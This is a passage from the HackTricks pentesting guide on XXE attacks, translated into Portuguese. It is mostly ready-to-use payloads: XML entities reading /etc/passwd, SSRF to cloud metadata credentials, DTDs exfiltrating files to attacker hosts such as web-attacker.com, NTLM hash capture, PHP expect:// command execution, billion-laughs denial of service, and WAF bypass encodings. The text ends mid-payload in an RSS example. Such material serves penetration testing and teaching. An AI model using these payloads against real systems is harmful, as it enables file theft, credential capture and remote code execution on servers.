hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

41 KiB

XXE - XEE - Entidade Externa XML

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Um ataque de Entidade Externa XML é um tipo de ataque contra uma aplicação que analisa a entrada XML.

Conceitos Básicos de XML

A maior parte disso é baseada nesta incrível página da Portswigger: https://portswigger.net/web-security/xxe/xml-entities

Visão Geral da Linguagem de Marcação Extensível

A Linguagem de Marcação Extensível, comumente abreviada como XML, é definida como uma linguagem de marcação utilizada para o armazenamento e transporte de dados. Empregando uma estrutura semelhante a uma árvore, composta por tags e dados semelhantes ao HTML, o XML se distingue por não se restringir a tags predefinidas. Essa flexibilidade permite a utilização de tags nomeadas descritivamente de acordo com os dados que encapsulam. Historicamente, o XML ganhou destaque como formato para transporte de dados, notavelmente representado por sua contribuição para o acrônimo "AJAX" (onde "X" significa "XML"). No entanto, sua popularidade diminuiu, com o JSON emergindo como o formato preferido.

Representação de Itens de Dados em XML Através de Entidades

No XML, as entidades servem como mecanismos para representar itens de dados dentro de um documento, oferecendo uma alternativa à inserção direta de dados. A especificação XML incorpora várias entidades embutidas. Por exemplo, &lt; e &gt; servem para representar os caracteres < e >, respectivamente. Devido ao seu papel na demarcação de tags XML, esses metacaracteres frequentemente precisam ser representados usando entidades quando aparecem dentro dos dados.

Definindo Elementos XML

As declarações de tipo de elemento são críticas no XML, pois estabelecem as diretrizes para a presença, tipos e sequenciamento de elementos dentro de um documento XML. Exemplos ilustrativos incluem:

  • <!ELEMENT stockCheck ANY> significa que o elemento <stockCheck></stockCheck> pode conter qualquer tipo de objeto.
  • <!ELEMENT stockCheck EMPTY> dita que o elemento <stockCheck></stockCheck> deve permanecer sem conteúdo.
  • <!ELEMENT stockCheck (productId,storeId)> especifica que o elemento <stockCheck> pode conter apenas <productId> e <storeId> como elementos filhos.

Introdução à Definição de Tipo de Documento

A Definição de Tipo de Documento (DTD) desempenha um papel fundamental no XML, fornecendo declarações que podem ditar a estrutura de um documento XML, tipos de dados permitidos e muito mais. O elemento DOCTYPE, que é opcional e posicionado no início de um documento XML, pode declarar uma DTD. As DTDs podem ser categorizadas como "internas" quando totalmente incorporadas em um documento, "externas" quando carregadas de uma fonte externa, ou uma combinação de ambas.

Utilização de Entidades Personalizadas em XML

O XML facilita a definição de entidades personalizadas dentro de uma DTD. Uma declaração de exemplo:

<!DOCTYPE foo [ <!ENTITY myentity "meu valor de entidade" > ]>

Tal declaração indica que a referência de entidade &myentity; dentro do documento será substituída por "meu valor de entidade".

Incorporação de Entidades Externas em XML

Entidades externas em XML são um subtipo de entidades personalizadas, caracterizadas por suas definições serem externas à DTD. Essas entidades utilizam a palavra-chave SYSTEM e necessitam de uma URL especificando a localização de onde o valor da entidade deve ser recuperado, potencialmente permitindo ataques de entidade externa XML.

Explorando Entidades de Parâmetro XML para Detecção de XXE

Em cenários em que as entidades padrão são ineficazes para explorar vulnerabilidades de XXE devido à validação ou endurecimento do analisador XML, as entidades de parâmetro XML podem ser empregadas. Distinguidas pela inclusão de um caractere de porcentagem precedendo o nome da entidade e referenciadas usando o mesmo caractere, as entidades de parâmetro XML são exclusivamente referenciadas dentro da DTD. Elas podem facilitar a detecção cega de XXE por meio de métodos out-of-band, exemplificados pela iniciativa de uma pesquisa DNS e solicitação HTTP a um domínio controlado pelo atacante, confirmando assim o sucesso da exploração.

Principais ataques

A maioria desses ataques foi testada usando os incríveis laboratórios XEE da Portswiggers: https://portswigger.net/web-security/xxe

Novo teste de Entidade

Neste ataque, vou testar se uma simples nova declaração de ENTIDADE está funcionando

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Ler arquivo

Vamos tentar ler /etc/passwd de diferentes maneiras. Para o Windows, você pode tentar ler: C:\windows\system32\drivers\etc\hosts

Neste primeiro caso, observe que o sistema "**file:///**etc/passwd" também funcionará.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Este segundo caso deve ser útil para extrair um arquivo se o servidor web estiver usando PHP (Não é o caso dos laboratórios do Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

Neste terceiro caso, observe que estamos declarando o Element stockCheck como ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Listagem de diretórios

Em aplicações baseadas em Java, pode ser possível listar o conteúdo de um diretório via XXE com um payload como (apenas solicitando o diretório em vez do arquivo):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Um XXE poderia ser usado para abusar de um SSRF dentro de uma nuvem

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

SSRF Cego

Usando a técnica previamente comentada você pode fazer o servidor acessar um servidor que você controla para mostrar que ele é vulnerável. Mas, se isso não estiver funcionando, talvez seja porque entidades XML não são permitidas, nesse caso você poderia tentar usar entidades de parâmetros XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"Cego" SSRF - Exfiltrar dados fora de banda

Nesta ocasião, vamos fazer o servidor carregar um novo DTD com um payload malicioso que enviará o conteúdo de um arquivo via solicitação HTTP (para arquivos de várias linhas, você poderia tentar exfiltrá-lo via ftp://). Esta explicação é baseada no laboratório da Portswigger aqui.

No DTD malicioso fornecido, uma série de etapas são realizadas para exfiltrar dados:

Exemplo de DTD Malicioso:

A estrutura é a seguinte:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Os passos executados por esta DTD incluem:

  1. Definição de Entidades de Parâmetro:

    • Uma entidade de parâmetro XML, %file, é criada, lendo o conteúdo do arquivo /etc/hostname.
    • Outra entidade de parâmetro XML, %eval, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, %exfiltrate. A entidade %exfiltrate é configurada para fazer uma solicitação HTTP para o servidor do atacante, passando o conteúdo da entidade %file na string de consulta da URL.
  2. Execução de Entidades:

    • A entidade %eval é utilizada, levando à execução da declaração dinâmica da entidade %exfiltrate.
    • A entidade %exfiltrate é então usada, desencadeando uma solicitação HTTP para a URL especificada com o conteúdo do arquivo.

O atacante hospeda esta DTD maliciosa em um servidor sob seu controle, tipicamente em uma URL como http://web-attacker.com/malicious.dtd.

Carga Útil XXE: Para explorar uma aplicação vulnerável, o atacante envia uma carga útil XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Este payload define uma entidade de parâmetro XML %xxe e a incorpora dentro do DTD. Quando processado por um analisador XML, este payload busca o DTD externo no servidor do atacante. O analisador então interpreta o DTD inline, executando as etapas descritas no DTD malicioso e levando à exfiltração do arquivo /etc/hostname para o servidor do atacante.

Baseado em Erro (DTD Externo)

Neste caso, vamos fazer o servidor carregar um DTD malicioso que mostrará o conteúdo de um arquivo dentro de uma mensagem de erro (isso é válido apenas se você puder ver mensagens de erro). Exemplo daqui.

Você pode acionar uma mensagem de erro de análise XML contendo o conteúdo do arquivo /etc/passwd usando um DTD externo malicioso da seguinte forma:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Este DTD realiza os seguintes passos:

  • Define uma entidade de parâmetro XML chamada file, contendo o conteúdo do arquivo /etc/passwd.
  • Define uma entidade de parâmetro XML chamada eval, contendo uma declaração dinâmica de outra entidade de parâmetro XML chamada error. A entidade error será avaliada carregando um arquivo inexistente cujo nome contém o valor da entidade file.
  • Utiliza a entidade eval, o que faz com que a declaração dinâmica da entidade error seja realizada.
  • Utiliza a entidade error, de modo que seu valor seja avaliado ao tentar carregar o arquivo inexistente, resultando em uma mensagem de erro contendo o nome do arquivo inexistente, que é o conteúdo do arquivo /etc/passwd.

Invocar o erro DTD externo com:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

E você deve ver o conteúdo do arquivo dentro da mensagem de erro da resposta do servidor web.

Por favor, note que o DTD externo nos permite incluir uma entidade dentro da segunda (eval), mas é proibido no DTD interno. Portanto, você não pode forçar um erro sem usar um DTD externo (geralmente).

Baseado em Erro (sistema DTD)

E quanto às vulnerabilidades cegas de XXE quando as interações out-of-band são bloqueadas (conexões externas não estão disponíveis)?.

Uma brecha na especificação da linguagem XML pode expor dados sensíveis por meio de mensagens de erro quando o DTD de um documento mescla declarações internas e externas. Esse problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques de XXE baseados em erro. Tais ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, de dentro de um DTD interno. Quando as conexões out-of-band são bloqueadas pelo servidor, os atacantes devem depender de arquivos DTD locais para realizar o ataque, com o objetivo de induzir um erro de análise para revelar informações sensíveis.

Considere um cenário em que o sistema de arquivos do servidor contém um arquivo DTD em /usr/local/app/schema.dtd, definindo uma entidade chamada custom_entity. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo /etc/passwd enviando um DTD híbrido da seguinte forma:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Os passos delineados são executados por esta DTD:

  • A definição de uma entidade de parâmetro XML chamada local_dtd inclui o arquivo DTD externo localizado no sistema de arquivos do servidor.
  • Uma redefinição ocorre para a entidade de parâmetro XML custom_entity, originalmente definida no DTD externo, para encapsular um exploit XXE baseado em erro. Esta redefinição é projetada para provocar um erro de análise, expondo o conteúdo do arquivo /etc/passwd.
  • Ao empregar a entidade local_dtd, o DTD externo é acionado, abrangendo a entidade custom_entity recém-definida. Esta sequência de ações precipita a emissão da mensagem de erro visada pelo exploit.

Exemplo do mundo real: Sistemas que utilizam o ambiente de desktop GNOME frequentemente possuem um DTD em /usr/share/yelp/dtd/docbookx.dtd contendo uma entidade chamada ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Como essa técnica usa um DTD interno, você precisa encontrar um válido primeiro. Você pode fazer isso instalando o mesmo SO / Software que o servidor está usando e procurando alguns DTDs padrão, ou obtendo uma lista de DTDs padrão dentro dos sistemas e verificando se algum deles existe:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Para mais informações, consulte https://portswigger.net/web-security/xxe/blind

Encontrando DTDs dentro do sistema

No seguinte repositório incrível do github, você pode encontrar caminhos de DTDs que podem estar presentes no sistema:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Além disso, se você tiver a imagem Docker do sistema da vítima, você pode usar a ferramenta do mesmo repositório para escanear a imagem e encontrar o caminho dos DTDs presentes no sistema. Leia o Readme do github para aprender como.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE via Analisadores de Office Open XML

Para uma explicação mais detalhada deste ataque, verifique a segunda seção deste post incrível da Detectify.

A capacidade de fazer upload de documentos do Microsoft Office é oferecida por muitas aplicações web, que então procedem a extrair certos detalhes desses documentos. Por exemplo, uma aplicação web pode permitir que os usuários importem dados fazendo upload de uma planilha no formato XLSX. Para que o analisador extraia os dados da planilha, ele inevitavelmente precisará analisar pelo menos um arquivo XML.

Para testar essa vulnerabilidade, é necessário criar um arquivo do Microsoft Office contendo um payload XXE. O primeiro passo é criar um diretório vazio para o qual o documento pode ser descompactado.

Depois que o documento for descompactado, o arquivo XML localizado em ./unzipped/word/document.xml deve ser aberto e editado em um editor de texto preferido (como o vim). O XML deve ser modificado para incluir o payload XXE desejado, frequentemente começando com uma solicitação HTTP.

As linhas XML modificadas devem ser inseridas entre os dois objetos XML raiz. É importante substituir o URL por um URL monitorável para as solicitações.

Por fim, o arquivo pode ser compactado para criar o arquivo malicioso poc.docx. A partir do diretório "unzipped" previamente criado, o seguinte comando deve ser executado:

Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente vulnerável, e pode-se esperar que uma solicitação apareça nos logs do Burp Collaborator.

Protocolo Jar

O protocolo jar está disponível apenas em aplicações Java. Ele permite acessar arquivos dentro de um arquivo PKZIP (.zip, .jar, ...) e funciona para arquivos locais e remotos:

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Ser capaz de acessar arquivos dentro de arquivos PKZIP é super útil para abusar do XXE via arquivos DTD do sistema. Confira esta seção para aprender como abusar dos arquivos DTD do sistema. {% endhint %}

Nos bastidores

  1. Faz uma solicitação HTTP para carregar o arquivo zip. https://download.host.com/myarchive.zip
  2. Salva a resposta HTTP em um local temporário. /tmp/...
  3. Extrai o arquivo do arquivo zip.
  4. Lê o file.zip
  5. Exclui arquivos temporários.

Observe que é possível interromper o fluxo no segundo passo. O truque é nunca fechar a conexão ao servir o arquivo. Essas ferramentas podem ser úteis: uma em python slow_http_server.py e outra em java slowserver.jar.

Depois que o servidor baixou seu arquivo, você precisa encontrar sua localização navegando pelo diretório temporário. Sendo aleatório, o caminho do arquivo não pode ser previsto com antecedência.

Jar

{% hint style="danger" %} Escrever arquivos em um diretório temporário pode ajudar a escalar outra vulnerabilidade que envolve uma travessia de caminho (como inclusão de arquivo local, injeção de modelo, XSLT RCE, desserialização, etc). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Ataque de Bilhões de Risadas

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Ataque Yaml

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Ataque de Explosão Quadrática

Obtendo NTML

Em hosts Windows, é possível obter o hash NTML do usuário do servidor web configurando um manipulador responder.py:

Responder.py -I eth0 -v

e ao enviar a seguinte solicitação

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Então você pode tentar quebrar o hash usando o hashcat

Superfícies XXE Ocultas

XInclude

Em alguns cenários, dados enviados pelo cliente são incorporados em um documento XML por processos no lado do servidor antes do parsing. Isso geralmente ocorre quando os dados do cliente são integrados em uma solicitação SOAP de backend, posteriormente manipulada por um serviço SOAP no backend.

Realizar um ataque tradicional de XXE (Entidade Externa XML) prova ser desafiador nesses casos devido ao controle limitado sobre a totalidade do documento XML, especificamente a incapacidade de alterar ou introduzir um elemento DOCTYPE. No entanto, aproveitando o XInclude, um recurso do padrão XML que permite a montagem de um documento XML a partir de subdocumentos menores, apresenta uma solução alternativa. Esta abordagem permite um ataque de XInclude dentro de qualquer elemento de dados de um documento XML, tornando-o viável em casos em que o controle é restrito a uma peça individual de dados incorporados em um documento XML gerado pelo servidor.

Para iniciar um ataque de XInclude, a inclusão do namespace XInclude é necessária, juntamente com a especificação do caminho do arquivo destinado à inclusão. O exemplo a seguir demonstra como tal ataque pode ser estruturado:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Verifique https://portswigger.net/web-security/xxe para mais informações!

SVG - Upload de Arquivo

Arquivos enviados por usuários para determinadas aplicações, que são então processados no servidor, podem explorar vulnerabilidades na forma como os formatos de arquivo XML ou que contêm XML são tratados. Formatos de arquivo comuns como documentos de escritório (DOCX) e imagens (SVG) são baseados em XML.

Quando os usuários enviam imagens, essas imagens são processadas ou validadas no servidor. Mesmo para aplicações que esperam formatos como PNG ou JPEG, a biblioteca de processamento de imagens do servidor também pode suportar imagens SVG. O SVG, sendo um formato baseado em XML, pode ser explorado por atacantes para enviar imagens SVG maliciosas, expondo assim o servidor a vulnerabilidades de XXE (Entidade Externa XML).

Um exemplo desse tipo de exploit é mostrado abaixo, onde uma imagem SVG maliciosa tenta ler arquivos do sistema:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Outro método envolve tentar executar comandos através do invólucro "expect" do PHP:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

Em ambos os casos, o formato SVG é usado para lançar ataques que exploram as capacidades de processamento XML do software do servidor, destacando a necessidade de validação de entrada robusta e medidas de segurança.

Verifique https://portswigger.net/web-security/xxe para mais informações!

Observação: a primeira linha do arquivo lido ou do resultado da execução aparecerá DENTRO da imagem criada. Portanto, você precisa ser capaz de acessar a imagem que o SVG criou.

PDF - Upload de Arquivo

Leia o seguinte post para aprender como explorar um XXE fazendo upload de um arquivo PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: De x-www-urlencoded para XML

Se uma solicitação POST aceita os dados em formato XML, você pode tentar explorar um XXE nessa solicitação. Por exemplo, se uma solicitação normal contém o seguinte:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Então você pode ser capaz de enviar a seguinte solicitação, com o mesmo resultado:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: De JSON para XEE

Para alterar a solicitação, você pode usar uma Extensão do Burp chamada "Content Type Converter". Aqui você pode encontrar este exemplo:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Outro exemplo pode ser encontrado aqui.

Bypasses de WAF e Proteções

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Isso só funciona se o servidor XML aceitar o protocolo data://.

UTF-7

Você pode usar a ["Receita de Codificação" do cyberchef aqui ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformar para UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass de Protocolo de Arquivo

Se a web estiver usando PHP, em vez de usar file:/, você pode usar invólucros php php://filter/convert.base64-encode/resource= para acessar arquivos internos.

Se a web estiver usando Java, você pode verificar o protocolo jar.

Entidades HTML

Truque de https://github.com/Ambrotd/XXE-Notes
Você pode criar uma entidade dentro de uma entidade codificando-a com entidades html e então chamá-la para carregar um dtd.
Observe que as Entidades HTML usadas precisam ser numéricas (como [neste exemplo](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Exemplo de DTD:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Invólucros PHP

Base64

Extrair index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Extrair recurso externo

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Execução remota de código

Se o módulo "expect" do PHP estiver carregado

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

XML External Entity (XEE) attacks can also be performed on SOAP web services. In a SOAP message, XML is used to structure the data being sent between the client and the server. By injecting malicious XML entities into the SOAP request, an attacker can exploit vulnerable XML parsers on the server to disclose sensitive information or perform other malicious actions.

Detecting XEE in SOAP Messages

To detect XEE vulnerabilities in SOAP messages, you can send a SOAP request with a crafted XML payload containing external entities. By observing the server's response, you can determine if the XML parser is vulnerable to XEE attacks.

Preventing XEE Attacks

To prevent XEE attacks in SOAP web services, ensure that the XML parser is configured securely. Disable external entity processing or use a secure XML parser that does not resolve external entities. Input validation and sanitization are also crucial to prevent malicious XML payloads from being processed by the server.

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Este exemplo é inspirado em https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados nos processos de localização. É um formato baseado em XML usado principalmente para transferir dados localizáveis entre ferramentas durante a localização e como um formato de troca comum para ferramentas de TAC (Tradução Assistida por Computador).

Análise de Solicitação Cega

Uma solicitação é feita ao servidor com o seguinte conteúdo:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

No entanto, esta solicitação desencadeia um erro interno do servidor, mencionando especificamente um problema com as declarações de marcação:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Apesar do erro, um hit é registrado no Burp Collaborator, indicando algum nível de interação com a entidade externa.

Exfiltração de Dados Fora de Banda Para exfiltrar dados, é enviada uma solicitação modificada:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Este método revela que o User Agent indica o uso do Java 1.8. Uma limitação observada nesta versão do Java é a incapacidade de recuperar arquivos contendo um caractere de nova linha, como /etc/passwd, usando a técnica Out of Band.

Exfiltração de Dados Baseada em Erros Para superar essa limitação, é empregada uma abordagem baseada em erros. O arquivo DTD é estruturado da seguinte forma para acionar um erro que inclui dados de um arquivo alvo:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

O servidor responde com um erro, refletindo a inexistência do arquivo, indicando que o servidor está tentando acessar o arquivo especificado:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Para incluir o conteúdo do arquivo na mensagem de erro, o arquivo DTD é ajustado:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Esta modificação leva à exfiltração bem-sucedida do conteúdo do arquivo, conforme refletido na saída de erro enviada via HTTP. Isso indica um ataque bem-sucedido de XXE (Entidade Externa XML), aproveitando técnicas Out of Band e Error-Based para extrair informações sensíveis.

RSS - XEE

XML válido com formato RSS para explorar uma vulnerabilidade de XXE.

Ping de retorno

Solicitação HTTP simples para o servidor do atacante

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
